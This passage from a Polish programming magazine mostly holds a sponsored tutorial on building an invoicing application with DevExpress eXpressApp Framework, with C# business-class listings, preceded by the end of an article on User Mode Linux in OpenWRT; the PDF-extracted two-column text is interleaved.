ny jako „honeypot”, pułapka mająca na celu wykrycie prób cą komendy make. Utworzony kernel i system plików znajdzie-
nieautoryzowanego użycia systemu czy pozyskania danych. my w folderze openwrt/bin/targets/uml/generic.
Możliwe jest to dzięki funkcjonalnościom takim jak „tty log-
ging”, czyli logowaniu ruchu tty UML do hosta, „hppfs”, czyli
UML w Icotera
systemie plików UML, który pozwala na arbitralne przepisy-
wanie wpisów w UML /proc z hosta, i tryb skas, dzięki któ- Aby ułatwić pracę naszym developerom i dostarczyć najwyż-
remu UML może działać w trybie, który tworzy przestrzenie szej jakości produkt, Icotera wykorzystuje User Mode Linux
adresowe procesów identyczne z hostem. jako platformę testową. UML doskonale radzi sobie z imitowa-
niem podzespołów wykorzystywanych w routerach, co pozwala
na dokładne przetestowanie funkcjonalności poszczególnych
UML w OpenWRT
jednostek. Naniesione zmiany mogą być szybko wgrane i prze-
W Icoterze wykorzystujemy oprogramowanie OpenWRT. Jest testowane w wirtualnym środowisku.
ono projektem otwartym (ang. open source) dla wbudowane- Praca nad innowacyjnymi rozwiązaniami to codzienność
go systemu (ang. embedded system) operacyjnego opartego dla Icotery. Jako lider technologiczny w dziedzinie urządzeń
na systemie Linux. Dzięki tysiącom pakietów dostarczanych sieciowych firma opracowuje i dostarcza produkty o doskona-
przez oprogramowanie możemy znacząco zwiększyć możli- łej konstrukcji, jakości i wydajności. Brzmi fajnie? Rewelacja!
wości urządzeń sieciowych. Jedną z tych funkcjonalność jest Nie czekaj zatem i czym prędzej aplikuj do nas przez stronę:
UML. Głównym powodem, dla którego UML został dodany icotera.com/about/career.
do OpenWRT, jest możliwość uruchomienia i przetestowa- Kamil Szóstak
nia pracy developera bez wymaganego hardware’u. Jak można
się domyślić, niesie to za sobą wiele korzyści. Między innymi
korzystanie z tego rozwiązania ucieszy wszystkich pracują-

{ MATERIAŁ INFORMACYJNY }
BIBLIOTEKI I NARZĘDZIA

eXpressApp Framework przyjacielem programisty


Jak zbudować aplikację biznesową w 2 godziny

W poniższym artykule omówimy proces tworzenia aplikacji biznesowej z wykorzystaniem


eXpressApp Framework firmy DevExpress na przykładzie prostej aplikacji pozwalającej wy-
stawiać faktury i prowadzić rozrachunki z klientami. Przedstawimy kluczowe elementy i zasa-
dy definiowania modeli biznesowych, kontrolerów oraz dopasowywania tych mechanizmów
do specyficznych potrzeb użytkownika.

WSTĘP Od lat powstają narzędzia, starające się wyeliminować powtarzal-


ne elementy procesu, które prawie zawsze robi się w podobny sposób
Proces tworzenia oprogramowania składa się z różnych etapów – niezależnie od tego, czy jest to aplikacja do wystawiania faktur, czy
niektóre lubimy i wykonujemy je chętnie, a inne odkładamy najdłu- program do diagnozowania i leczenia raka. Narzędzia tego typu zwa-
żej jak się da i najchętniej delegujemy junior developerowi. W efekcie ne niegdyś RAD (Rapid Application Development), jak np. Power
powstają smutne historie programistów, którzy zajmowali się cały Builder, Clarion, LightSwitch zastąpiony obecnie przez Power Apps
czas np. nudnymi CRUD-ami, układali kontrolki na widokach albo i wiele innych, w różnym stopniu pozwalają programistom na ela-
czymś jeszcze gorszym. A o programistę teraz trudno… styczność podczas procesu tworzenia aplikacji. Jedne wymagały trzy-
Standardowy proces tworzenia oprogramowania stawia przed mania się konkretnych zasad i umożliwiały tworzenie aplikacji o dość
programistami nietrywialne wyzwania: ograniczonej funkcjonalności, inne oferowały większą elastyczność,
» Najprostsze czynności, jak przeglądanie czy przechowywa- niemniej jednak bardzo często kończyło się na egzotycznych trikach,
nie danych, są czasochłonne. Programiści muszą dbać o każdy by osiągnąć zamierzony cel. O skuteczności tych narzędzi świadczą
aspekt tworzonej aplikacji – od zarządzania danymi na pozio- systemy, jakie powstały choćby w Polsce, m.in. Mediqus w Gabos
mie serwerów danych po dostarczenie edytorów do każdego Sof­tware, cała seria WaPro WF-MAG (KaPer, Gang, Fakir), Comarch
edytowanego pola. ERP XL stworzone z wykorzystaniem Clariona czy produkty rodziny
» Im bardziej złożony system, tym więcej kodu i nieuchronnych Simple.ERP, tworzone za pomocą Power Buildera, i wiele innych. Po-
błędów. Wymaga czasu i zasobów ludzkich. wer Apps nawet rozpychają się coraz bardziej w Azure. Nadal jednak
» Utrzymanie tak stworzonego systemu nie jest proste. Nawet pozostaje problem elastyczności tych narzędzi, automatyzacja wielu
trzymając się wszelkich zasad programowania, rozbudowa bę- procesów wymaga ich ustandaryzowania, uproszczenia, w konse-
dzie wymagać znacznych modyfikacji istniejącej aplikacji, która kwencji pewnych kompromisów. Gdzieś po środku pojawiają się fra-
jest kosztowna i koszt ten rośnie wraz ze złożonością systemu. meworki, które wyręczają w implementacji niektórych funkcjonal-
ności, jak np biblioteki ORM zwalniające nas z oprogramowywania
Oczywiście takie podejście ma też swoje zalety: warstwy komunikacji z bazami danych, czy automatycznego genero-
» Każdy aspekt powstającego systemu jest w pełni kontrolowany wania warstwy prezentacji na podstawie modelu, które jednocześnie
przez programistów. Nie zależą od ograniczeń czy nawet błędów dają nam praktycznie pełną elastyczność dostępną w konkretnym
zewnętrznych bibliotek. Wszystko, co stworzyli, mogą modyfi- języku programowania.
kować i poprawiać w prostszy sposób. Jednym z takich rozwiązań jest DevExpress eXpressApp Frame-
» Programiści mogą optymalizować system wg własnych po- work (XAF) [1]. Jest to narzędzie płatne i choć mamy do dyspozy-
trzeb, co jest trudne do osiągnięcia, bazując na zewnętrznych cji 30-dniowę wersję testową, warto ponieść koszt licencji, ponieważ
rozwiązaniach. framework ten zdecydowanie przyspiesza proces tworzenia aplika-
» Aplikacje nie muszą być tworzone wg zasad wymaganych przez cji, a jednocześnie firma oferuje bardzo dobry support techniczny
zewnętrzne narzędzia/biblioteki. – aktualizacje pojawiają się kilkanaście razy w roku.
Niekiedy powyższe rozwiązanie jest jedynym wyjściem, aby opraco- ExpressApp Framework znacznie ułatwia proces programowa-
wać właściwy system. Często jednak tworzymy takie, w których pew- nia, przejmując na siebie wykonanie czynności związanych z prze-
ne funkcjonalności powtarzają się i faktycznie bezustanne robienie chowywaniem danych, ich przeglądaniem, mechanizmami do ana-
tego samego zaczyna być nużące. Jest wiele powtarzalnych rzeczy, lizy danych, drukowania. XAF oferuje interfejs wysokiego poziomu
które muszą zostać wykonane za każdym razem, kiedy tworzymy ukrywający niektóre szczegóły implementacji i pozwalający skon-
aplikację biznesową. Niektóre jej elementy są do siebie podobne, centrować się na dziedzinie problemu i logice biznesowej. Niektóre
a jednocześnie na tyle różne, że nie da się tego zrobić raz i używać cechy XAF, dzięki którym ten proces jest łatwiejszy:
wielokrotnie w pozostałych przypadkach. Trzeba skonfigurować ma- » Do programowania wykorzystujemy C# lub Visual Basic, mając
powania klas do bazy danych, zaprojektować formatki widoków, kon- do dyspozycji wszystko, co te języki oferują.
trolować dostęp współdzielony itp. » Logika biznesowa bez większych zmian może być używana na wielu

<12> { 1 / 2022 < 100 > }


BIBLIOTEKI I NARZĘDZIA

platformach (WinForms, ASP.NET WebForms czy ASP.NET automatycznie konwertowane są na widoki (ListView, DetailView),
Core Blazor). które pozwalają na dodawanie, modyfikację czy przeglądanie danych.
» Automatyczny kreator interfejsu użytkownika. Programista nie Wygenerowane widoki możemy dostosować do własnych potrzeb, je-
musi tworzyć wielu podobnych formularzy do przeglądania i edy- śli to, co proponuje XAF, nie spełnia do końca naszych potrzeb.
cji danych. Przy okazji ułatwia to utrzymanie aplikacji, ponieważ ListView wyświetlają kolekcje danych, pozwalają je sortować i prze-
po zmianie struktury klas nie ma potrzeby modyfikowania wielu szukiwać z wykorzystaniem zaawansowanych metod filtrowania.
formularzy. XAF zrobi to za nas automatycznie. Na przykład do-
dajemy nowe pole w kontrahencie i pojawia się ono na każdej for-
matce z nim związanej, dostępne jest w wydruku, statystyce itp.
» Wbudowane zarządzanie danymi. Programista nie musi zaj-
mować się bazą danych, konfigurować ADO.NET. Zwolniony
jest też z zajmowania się szczegółami konkretnych systemów
baz danych. Wybieramy bazę docelową z dość obszernej listy,
m.in. MS SQL, MySQL, Postgres, Oracle, DB2 i inne. Zmiana
docelowej bazy sprowadza się do zmiany danych połączenia
w konfiguracji.
» Aplikacje są łatwe w rozbudowie. Możemy dopasować czy na-
wet w pełni wymienić prawie każdy z dostarczonych elementów
interfejsu aplikacji czy jej zachowania. Można łączyć XAF z bi-
bliotekami stworzonymi bez jego udziału, np. pokazać niestan-
dardowe formularze lub kontrolki w oknie utworzonym przez
XAF. W wyjątkowych sytuacjach możemy wprowadzić zmiany Rysunek 1. Widok listy klientów – wersja WinForms
bezpośrednio w kodzie XAF, ponieważ mamy dostęp do kom-
pletnego kodu źródłowego.
» Tworzona aplikacja automatycznie zarządza zmianami struktu- DetailView pozwalają na pracę z pojedynczym obiektem (rekordem
ry w bazie klienta. Jeśli dodamy nowe pola, tabele czy powią- danych), wyświetlając dane w odpowiednich edytorach. Wykorzysty-
zania pomiędzy nimi w definicji klas czy kolekcji, aplikacja po wane są do dodawania i edycji danych.
uruchomieniu u klienta może samodzielnie dokonać mody-
fikacji bazy danych. Niewielkie modyfikacje w procedurze ak-
tualizacyjnej wymagane są w sytuacjach zmiany typów danych
na istniejących polach czy zmiany relacji pomiędzy tabelami.
» DevExpress dostarcza język skryptowy, bardziej czytelny dla
osób nie programujących, który używany jest w wyrażeniach fil-
trujących, polach wyliczanych na formatkach i wydrukach.
» XAF dostarczany jest z wbudowanymi modułami do tworzenia
statystyk i raportów.
» Gotowy system kontroli dostępu do formatek i danych. Defi-
niując użytkowników i role, z poziomu aplikacji możemy ogra-
niczyć dostęp do danych z wybranych grup, przed niektórymi
użytkownikami ukryć wybrane pola, jak np PESEL, co w cza-
sach szalejącego RODO jest niezbędne.
» Ponownie: wsparcie techniczne od ludzi z DevExpress! Nie zda-
rzyło się autorom tego artykułu, by otrzymali odpowiedzi póź- Rysunek 2. Widok szczegółowy klienta – wersja WinForms
niej niż 48 godzin od zgłoszenia.

Należy jednak pamiętać, że nie będziemy mieli z XAF większego DashboardView pozwala grupować wiele innych widoków na jed-
pożytku przy tworzeniu aplikacji innego rodzaju, np. takich jak gry, nym oknie.
programy do obróbki grafiki, portalu społecznościowego itp.
XAF opiera się na architekturze MVC. Dane przechowujemy
Klasy biznesowe
w bazie danych np. MS SQL (lista wspieranych serwerów baz danych:
docs.devexpress.com/XPO/2114/product-information/database-sys- Model biznesowy definiujemy za pomocą klas określanych jako Bu-
tems-supported-by-xpo). Komunikacja z bazą danych realizowana jest siness Object (BO), dla których zostaną utworzone struktury tabel
poprzez klasy ORM (XPO lub Entity Framework Core). ORM służy i relacji w bazie danych i jednocześnie zostaną utworzone widoki uży-
do mapowania struktur tabel bazy danych na klasy w modelu apli- wane w interfejsie aplikacji. DevExpress dostarcza Business Class Li-
kacji. Zadeklarowane klasy modelujące naszą dziedzinę biznesową brary [2], w której zdefiniowane są najczęściej używane BO (Address,

<14> { 1 / 2022 < 100 > }


/ eXpressApp Framework przyjacielem programisty /

Person, Note, Organization), a także klasy potrzebne we wbudowa- » SingleChoiceAction – wykonuje kod po wybraniu jednej z opcji
nych modułach dodatkowych (m.in. Reports, Dashboards, Security). określonej podczas tworzenia akcji.
Nie jesteśmy ograniczeni do tych klas; możemy definiować własne,
co zrobimy w dalszej części tego artykułu. DevExpress dostarcza nam
Application Model
kompletny kod źródłowy i lektura kodu przedstawionych powyżej
klas jest najlepszą metodą nauki, jak definiować własne klasy. Application Model przechowuje wszystkie informacje potrzebne
do zbudowania UI aplikacji. Na przykład, jakie edytory przypisali-
śmy dla poszczególnych typów danych, jak ułożone są kontrolki na
Moduły rozszerzające
ekranie i jakie etykiety przypisaliśmy poszczególnym polom. Appli-
XAF zawiera kilkanaście modułów rozszerzających funkcjonalność cation Model automatycznie wypełniany jest danymi na podstawie
aplikacji [3]. Wystarczy na przykład dołożyć do projektu moduł Re- zadeklarowanych klas BO oraz kontrolerów. Model można zmieniać
ports, aby w aplikacji pojawił się rozbudowany edytor wydruków. za pomocą dedykowanego edytora zintegrowanego w Visual Studio
Dodając moduł Security, otrzymujemy zaawansowaną obsługę lub zwykłym edytorem tekstowym, ponieważ jest on zapisywany jako
kontroli dostępu do aplikacji. plik XML.

Kontrolery i akcje BIERZEMY SIĘ ZA PROGRAMOWANIE


XAF automatycznie generuje UI na podstawie modelu biznesowe- Wyobraźmy sobie „standardową” specyfikację wymagań:
go (BO), który zawiera wbudowane funkcjonalności pozwalające na
komfortową pracę z danymi, jak filtrowanie, wyszukiwanie, tworze- Zróbcie program do fakturowania, tak aby było dobrze! Da radę
na jutro?
nie i wywoływanie wydruków, eksportowanie danych do wielu for-
matów itp. O ile w prostych aplikacjach może być to wystarczające,
o tyle w tych rozbudowanych istnieją bardziej złożone wymagania. W zależności od poziomu asertywności należy/przydałoby się zleca-
W celu oprogramowania dodatkowych funkcjonalności XAF uży- jącego wysłać do dev/null, albo jeszcze dalej. W końcu analiza tego
wa koncepcji kontrolerów i akcji. Kontrolerów używamy głównie zagadnienia w szczegółach to materiał na kolejny artykuł. Zróbmy
w dwóch sytuacjach: jednak prostą analizę zagadnienia.
» Wykonania określonych akcji, gdy Okno (Widok) jest tworzone Fakturę wystawia się firmie lub osobie fizycznej – tu można zro-
lub zamykane. Przy otwarciu Okna wszystkie kontrolery, które bić uproszczenie i dane osoby wpisywać do danych firmy. Na faktu-
są dla niego przeznaczone, zostają aktywowane, co oznacza, że rze umieszcza się sprzedawane produkty – czyli potrzebujemy rejestr
wywoływane są konkretne zdarzenia, np. Controller.Acti­ produktów. Produkty przydałoby się dzielić na grupy, a klientów kla-
vated. Zdarzeń tych można użyć w celu zaimplementowania syfikować wg ich wielkości. Takie instytucje, jak GUS, udostępniają
funkcji związanych z bieżącym oknem lub jego widokiem. API pozwalające pobrać dane każdego podmiotu prowadzącego dzia-
Podczas zamykania wywoływane są kolejne zdarzenia, np. Con- łalność gospodarczą. Dobrze, żeby nasz program pozwalał na weryfi-
troller.Deactivated, gdzie także można oprogramować do- kację takich danych – przyspieszy to proces wpisywania kontrahenta.
datkowe funkcjonalności. W uproszczeniu można je porównać Po dalszej analizie zależności pomiędzy tabelami powinny wyglą-
do zdarzeń, jakie mamy dostępne podczas używania formatki dać mniej więcej tak jak na Rysunku 3.
Form z WinForms, np. Activated, Load, Deactivated itp.
» Rozszerzenie interfejsu użytkownika. W większości przypadków
działanie aplikacji polega na interakcji z użytkownikiem. Kon-
trolery mogą służyć jako kontenery dla akcji. Akcje to obiekty,
które reprezentują abstrakcyjne elementy użytkownika i mogą
być wyświetlane w systemie użytkownika przy użyciu rzeczywi-
stych kontrolek: Button, ComboBox, SubMenu. W celu obsłuże-
nia działania użytkownika na kontrolce będącej akcją należy ob-
służyć odpowiednie zdarzenia. Odpowiedniki OnTextChanged,
OnClick itp. spotykany w klasie Form w WinForms.

W XAF rozróżniamy 4 rodzaje akcji:


» SimpleAction – służy do wykonywania zaprogramowanych
funkcjonalności, gdy użytkownik kliknie na prostym przycisku.
» PopupWindowAction – wywołuje okno popup z zadeklarowa-
nym widokiem, gdzie użytkownik może wpisać dane, a następ-
Rysunek 3. Tablica zależności pomiędzy tabelami
nie, po naciśnięciu OK lub Cancel, wykonuje dalsze działanie.
» ParametrizedAction – wykonuje kod po wprowadzeniu przez
użytkownika wartości do kontrolki skojarzonej z akcją.

{ WWW.PROGRAMISTAMAG.PL } <15>
BIBLIOTEKI I NARZĘDZIA

W skrócie: należy zdefiniować klasy, które odzwierciedlą tabele » Invoice.Win. Praktycznie jest to projekt, z którego powstaje plik
bazy danych używane przez aplikację. Uzupełnić je o powiązania po- wykonywalny aplikacji. Ewentualne zmiany w tym projekcie
między nimi w celu zdefiniowania relacji. Opcjonalnie dodać kilka obejmować mogą pliki Program.cs oraz WinApplication.cs i kon-
kontrolerów i akcji np. do weryfikacji klienta w US/GUS. Zmodyfi- figuracji. Tutaj nie należy definiować kontrolerów ani klas BO.
kować w modelu domyślne widoki wg naszych upodobań – w końcu Nie będą one widoczne dla mechanizmów XAF i nie zostaną
nie każdemu będzie się podobało to, co domyślnie zaproponuje XAF. uwzględnione w modelu aplikacji. W pliku App.config możemy
1. Tworzymy nowy projekt w VS. zmodyfikować połączenie do bazy danych:
2. Z dostępnych szablonów wybieramy DevExpress v21.2 XAF
<add name="ConnectionString" connectionString=
Template Gallery (C#). "Integrated Security=SSPI;Pooling=false;Data Source=(localdb)\
3. Po wpisaniu nazwy projektu i zatwierdzeniu pojawi się okno mssqllocaldb;Initial Catalog=Invoice" />

XAF Solution Wizard. Klikamy Run wizard.


» Invoice.Blazor.Server. Praktycznie jest to projekt, z którego
Należy upewnić się, że wybraliśmy framework .Net Core oraz język powstaje plik wykonywalny serwisu, który umieścimy w kon-
programowania C#. tenerze lub w IIS. Podobnie jak dla wersji WIN, ewentualne
4. Wybieramy docelowe platformy – proponujemy wybrać wszyst- zmiany w tym projekcie obejmować mogą pliki Program.cs oraz
kie dostępne, dzięki czemu uzyskamy aplikacje WinForms, Web WinApplication.cs, a także konfiguracji. Tutaj nie należy definio-
Blazor oraz serwis Web API, do którego będzie można połączyć wać kontrolerów ani klas BO. W pliku appsettings.json możemy
się z zewnętrznych systemów. zmodyfikować połączenie do bazy danych
5. Na oknie z wyborem ORM wybieramy XPO. Jest to ORM do-
"ConnectionString": "Integrated Security=SSPI;Pooling=false;
starczany przez DevExpress [4] i zwykle pewne funkcjonalności Data Source=(localdb)\\mssqllocaldb;Initial Catalog=Invoice",
w XAF pojawiają się wcześniej dla XPO niż Entity Framework.
Jednocześnie DevExpress utrzymuje, że wydajnościowo XPO
jest dużo lepsze od Entity Framework [5]. » Invoice.WebApi. Funkcjonalność wprowadzona w najnowszej
6. W oknie Choose Security wybieramy Standard i ustawiamy obie wersji DevExpress. Serwis WebApi, który możemy użyć do
metody uwierzytelniania. modyfikacji danych z zewnętrznych aplikacji, np. aplikacji wy-
7. W oknie z dodatkowymi modułami wybieramy Bussines Class konanej w .NET MAUI. Wystarczy określić, jakie BO chcemy
Library, Conditional Appearance, Dashboard, Reports, Schedu- udostępniać na zewnątrz, i API do naszego sytemu gotowe.
ler i Validation. Generowanie tego projektu nie jest potrzebne, jeśli tworzymy
8. Klikamy Finish i po kilku sekundach zostaną wygenerowane projekt dla platformy Blazor. Invoice.Blazor.Server także może
odpowiednie projekty. działać jako WebApi.

BUSINESS OBJECTS
Klasy możemy stworzyć na 3 sposoby:
1. Model First – definiując klasy i powiązania w dedykowanym
edytorze modelu (XPO Data Model Designer) i generując klasy
na podstawie tego modelu.
2. Database First – importując struktury z istniejącej bazy danych
do Edytora Modelu i następnie wygenerowanie klas.
3. Code First – deklarując klasy bezpośrednio w kodzie.
Rysunek 4. Visual Studio – podgląd struktury projektów
Osobiście preferujemy wariant trzeci – czyli klasy definiowane bez-
pośrednio w kodzie. W tym procesie pomocny będzie CodeRush
Kilka słów o powyższej strukturze projektów: [6]. Jest to rozszerzenie do VS wspomagające programistę w pod-
» Invoice.Module. Projekt podstawowy. To tutaj koncentruje się stawowym procesie programowania, refaktoryzacji, debugowania
większość kodu, o ile nie jest on specyficzny dla konkretnej plat- czy testowania (odpowiednik ReSharpera od JetBrains). Używając
formy. Praktycznie wszystkie klasy z naszym modelem bizneso- odpowiednich skrótów klawiszowych [7], proces kodowania staje się
wym powinny znajdować się w tym projekcie. Tutaj implemen- zdecydowanie szybszy niż robienie tego w Model Designerze.
tować będziemy także kontrolery niezależne od platformy. Potrzebujemy następujące klasy i ich pola:
» Invoice.Module.Win. Tutaj definiujemy edytory i kontrolery
Listing 1. Klasa biznesowa klienta
dedykowane dla platformy WinForms. Uwaga! Klasy BO zdefi-
niowane tutaj nie będą widoczne w aplikacji Blazor! [DefaultClassOptions]
public class Customer : BaseObject
» Invoice.Module.Blazor. Tutaj definiujemy edytory i kontrolery
{
dedykowane dla platformy Blazor. Uwaga! Klasy BO zdefinio- public Customer(Session session) : base(session)
wane tutaj nie będą widoczne w aplikacji Win! { }

<16> { 1 / 2022 < 100 > }


/ eXpressApp Framework przyjacielem programisty /

Segment segment; set => SetPropertyValue(nameof(Notes),


string notes; ref notes, value);
string postalCode; }
string city; }
string street;
string customerName; public enum Segment
string vatNumber; {
string symbol; Corporate,
Consumer,
[Size(SizeAttribute.DefaultStringMappingFieldSize)] [XafDisplayName("Home Office")]
public string Symbol HomeOffice,
{ [XafDisplayName("Small Business")]
get => symbol; SmallBusiness
set => SetPropertyValue(nameof(Symbol), }
ref symbol, value);
}
W przypadku typów wyliczeniowych możemy wymusić, aby XAF
[Size(SizeAttribute.DefaultStringMappingFieldSize)] wyświetlał inne opisy niż wynika z nazw poszczególnych wartości
public string VatNumber
typu, stosując atrybut XafDisplayName.
{
get => vatNumber; Przy polach typu string możemy określić rozmiar, który zostanie
set => SetPropertyValue(nameof(VatNumber), ustawiony podczas tworzenia kolumny w tabeli. Robimy to za pomo-
ref vatNumber, value);
}
cą atrybutu Size(<rozmiar>).

[Size(SizeAttribute.DefaultStringMappingFieldSize)] Listing 2. Klasa biznesowa produktu


public string CustomerName
{ [DefaultClassOptions]
get => customerName; public class Product : BaseObject
set => SetPropertyValue(nameof(CustomerName), {
ref customerName, value); public Product(Session session) : base(session)
} { }

[Size(SizeAttribute.DefaultStringMappingFieldSize)] string notes;


public string Street string gTIN;
{ string productName;
get => street; string symbol;
set => SetPropertyValue(nameof(Street),
[Size(SizeAttribute.DefaultStringMappingFieldSize)]
ref street, value);
public string Symbol
}
{
[Size(SizeAttribute.DefaultStringMappingFieldSize)] get => symbol;
public string City set => SetPropertyValue(nameof(Symbol),
{ ref symbol, value);
get => city; }
set => SetPropertyValue(nameof(City),
ref city, value); [Size(SizeAttribute.DefaultStringMappingFieldSize)]
} public string ProductName
{
[Size(SizeAttribute.DefaultStringMappingFieldSize)]
get => productName;
public string PostalCode
set => SetPropertyValue(nameof(ProductName),
{
ref productName, value);
get => postalCode;
}
set => SetPropertyValue(nameof(PostalCode),
ref postalCode, value); [Size(SizeAttribute.DefaultStringMappingFieldSize)]
} public string GTIN
{
public Segment Segment
get => gTIN;
{
set => SetPropertyValue(nameof(GTIN),
get => segment;
ref gTIN, value);
set => SetPropertyValue(nameof(Segment),
}
ref segment, value);
} [Size(SizeAttribute.Unlimited)]
public string Notes
[Association]
{
public XPCollection<Invoice> Invoices
get => notes;
{
set => SetPropertyValue(nameof(Notes),
get
ref notes, value);
{
}
return GetCollection<Invoice>(nameof(Invoices));
}
}
}
Listing 3. Klasa biznesowa faktury
[Size(SizeAttribute.Unlimited)]
public string Notes [DefaultClassOptions]
{ public class Invoice : BaseObject
get => notes; {

{ WWW.PROGRAMISTAMAG.PL } <17>
BIBLIOTEKI I NARZĘDZIA

public Invoice(Session session) : base(session) { } decimal brutto;


decimal vat;
string notes; decimal netto;
decimal brutto; decimal unitPrice;
decimal vat; decimal quantity;
decimal netto; Product product;
Customer customer;
DateTime dueDate; public Product Product
DateTime invoiceDate; {
string invoiceNumber; get => product;
set => SetPropertyValue(nameof(Product),
[Size(SizeAttribute.DefaultStringMappingFieldSize)] ref product, value);
public string InvoiceNumber }
{
get => invoiceNumber; [Association]
set => SetPropertyValue(nameof(InvoiceNumber), public Invoice Invoice
ref invoiceNumber, value); {
} get => invoice;
set => SetPropertyValue(nameof(Invoice),
public DateTime InvoiceDate ref invoice, value);
{ }
get => invoiceDate;
set => SetPropertyValue(nameof(InvoiceDate), public decimal Quantity
ref invoiceDate, value); {
} get => quantity;
set => SetPropertyValue(nameof(Quantity),
public DateTime DueDate ref quantity, value);
{ }
get => dueDate;
set => SetPropertyValue(nameof(DueDate), public decimal UnitPrice
ref dueDate, value); {
} get => unitPrice;
set => SetPropertyValue(nameof(UnitPrice),
public Customer Customer ref unitPrice, value);
{ }
get => customer;
set => SetPropertyValue(nameof(Customer), public decimal Netto
ref customer, value); {
} get => netto;
set => SetPropertyValue(nameof(Netto),
public decimal Netto ref netto, value);
{ }
get => netto;
set => SetPropertyValue(nameof(Netto), public decimal Vat
ref netto, value); {
} get => vat;
set => SetPropertyValue(nameof(Vat),
public decimal Vat ref vat, value);
{ }
get => vat;
set => SetPropertyValue(nameof(Vat), public decimal Brutto
ref vat, value); {
} get => brutto;
set => SetPropertyValue(nameof(Brutto),
public decimal Brutto ref brutto, value);
{ }
get => brutto; }
set => SetPropertyValue(nameof(Brutto),
ref brutto, value);
}
[Size(SizeAttribute.Unlimited)] Relacje
public string Notes
{ W naszym przypadku mamy do czynienia z następującymi relacjami:
get => notes; » Klient może mieć dowolną liczbę faktur 1-N.
set => SetPropertyValue(nameof(Notes),
ref notes, value); » Faktura ma co najmniej jedna pozycję 1-N.
} » Każda pozycja jest w relacji do produktu (produkt może być na
}
wielu pozycjach) 1-N.
Listing 4. Klasa biznesowa pozycji faktury » Produkt może należeć do wielu grup N-M.

public class InvoiceItem : BaseObject


{
W fakturze do pola Customer dodajemy adnotację Association
public InvoiceItem(Session session) : base(session) (aby wskazać, że po tej kolumnie jest powiązanie do kolekcji faktur
{ } w kliencie) oraz dodajemy kolekcję pozycji faktury i oznaczamy je
Invoice invoice; odpowiednimi adnotacjami Association i Aggregated.

<18> { 1 / 2022 < 100 > }


/ eXpressApp Framework przyjacielem programisty /

Listing 5. Przykład użycia Association w klasie Invoice na polu z klientem get


{
[Association] return GetCollection<ProductGroup>(nameof(Groups));
public Customer Customer }
{ }
get => customer; ...
set => SetPropertyValue(nameof(Customer), }
ref customer, value);
}
...
Dodajemy brakującą klasę z grupy produktu.

Listing 10. Klasa biznesowa grupy produktu


W klasie klienta dodajemy kolekcję do wyświetlania listy faktur.
[DefaultClassOptions]
Listing 6. Przykład użycia Association oraz Aggregated w klasie Customer public class ProductGroup : XPObject
na kolekcji faktur {
public ProductGroup(Session session) : base(session)
[Association,Aggregated] { }
public XPCollection<Invoice> Invoices
{
string groupName;
get
{
return GetCollection<Invoice>(nameof(Invoices)); [Size(SizeAttribute.DefaultStringMappingFieldSize)]
} public string GroupName
} {
get => groupName;
set => SetPropertyValue(nameof(GroupName),

POZYCJE FAKTURY ref groupName, value);


}

W pozycji dodajemy natomiast powiązanie do faktury. [Association("Product-Products")]


public XPCollection<Product> Products
Listing 7. Przykład użycia Association w klasie InvoiceItem na polu z fakturą
{
get
[Association]
{
public Invoice Invoice
return GetCollection<Product>(nameof(Products));
{
}
get => invoice;
}
set => SetPropertyValue(nameof(Invoice),
}
ref invoice, value);
}
Kompilujemy i uruchamiamy program. Do dyspozycji mamy wersje
WinForms lub ASP.NET Core Blazor. W przypadku wybrania Win-
A w fakturze kolekcję pozycji. Forms naszym oczom pokaże się wersja windowsowa:

Listing 8. Przykład użycia Association oraz Aggregated w klasie faktury na


kolekcji pozycji faktury

[Association, DevExpress.Xpo.Aggregated]
public XPCollection<InvoiceItem> Items
{
get
{
return GetCollection<InvoiceItem>(nameof(Items));
}
}

GRUPY PRODUKTÓW
W przypadku powiązania produktów z grupami należy w obu kla-
sach dodać kolekcje z obiektami drugiej klasy i oznaczyć je atrybu-
tem Association z tą samą nazwą.

Listing 9. Przykład użycia Association w klasie produktu z podaną nazwą relacji

public class Product : BaseObject


{
...
[Association("Product-Products")]
public XPCollection<ProductGroup> Groups
{ Rysunek 5. Podgląd listy klientów – wersja WinForms

{ WWW.PROGRAMISTAMAG.PL } <19>
BIBLIOTEKI I NARZĘDZIA

Jak widać, dostajemy z automatu możliwość prostego wyszukiwa- pełnić aplikację o stawki VAT, wiec dodajemy nowa klasę: VatRate
nia w liście w sposób znany choćby z programu Excel, a także bar- – Listing 11.
dziej zaawansowany edytor filtrów – Rysunek 6.
Listing 11. Klasa biznesowa stawki VAT

[DefaultClassOptions]
public class VatRate : XPLiteObject
{
public VatRate(Session session) : base(session)
{ }

decimal rateValue;
string symbol;

[Size(3)]
public string Symbol
{
get => symbol;
set => SetPropertyValue(nameof(Symbol),
ref symbol, value);
}

public decimal Value


{
get => rateValue;
set => SetPropertyValue(nameof(Value),
ref rateValue, value);
}
Rysunek 6. Podgląd edytora filtrów dla wersji WinForms
}

Jeśli uruchomimy projekt Invoice.Blazor.Server, otrzymamy wersję Do klasy produktu dodajemy domyślnie cenę jednostkową i stawkę
webową – Rysunek 7. VAT – Listing 12.

Listing 12. Dopisana cena jednostkowa oraz stawka VAT do produktu

VatRate vatRate;
decimal unitPrice;
public decimal UnitPrice
{
get => unitPrice;
set => SetPropertyValue(nameof(UnitPrice),
ref unitPrice, value);
}
public VatRate VatRate
{
get => vatRate;
set => SetPropertyValue(nameof(VatRate),
ref vatRate, value);
}

Natomiast w pozycji faktury stawkę VAT – Listing 13.

Rysunek 7. Podgląd szczegółowy faktury – wersja Blazor Listing 13. Dopisana stawka VAT do pozycji faktury

VatRate vatRate;
public VatRate VatRate
Zajmijmy się teraz wyliczaniem wartości faktur. W tym celu w pozycji
{
faktury dodamy metodę, która pozwoli nam na wyliczenie wartości get => vatRate;
netto i brutto, następnie na poziomie klasy faktury dodamy kod, któ- set => SetPropertyValue(nameof(VatRate),
ref vatRate, value);
ry będzie sumował pozycje. Tu pojawia się dylemat architektoniczny, }
który zawsze trzeba przeanalizować – czy chcemy dane wyliczać za
każdym razem, gdy potrzebna nam jest ta informacja, czy zapamię-
tywać w bazie danych. Zapamiętywanie danych w bazie danych ma W przypadku pozycji faktury chcemy przeliczyć jej wartość, jeśli
więcej zalet niż wad – najistotniejsze jest to, że przy większej ilości zmieni się cena jednostkowa i/lub ilość. Tutaj wystarczy wywołać
danych jest szybciej. Dlatego tutaj też zastosujemy to rozwiązanie. metodę przeliczającą, jeśli zmieniła się wartość na polach: cena jed-
W pierwszej kolejności zajmijmy się metodą wyliczającą pola nostkowa i ilość. Dodatkowo w przypadku zmiany produktu należy
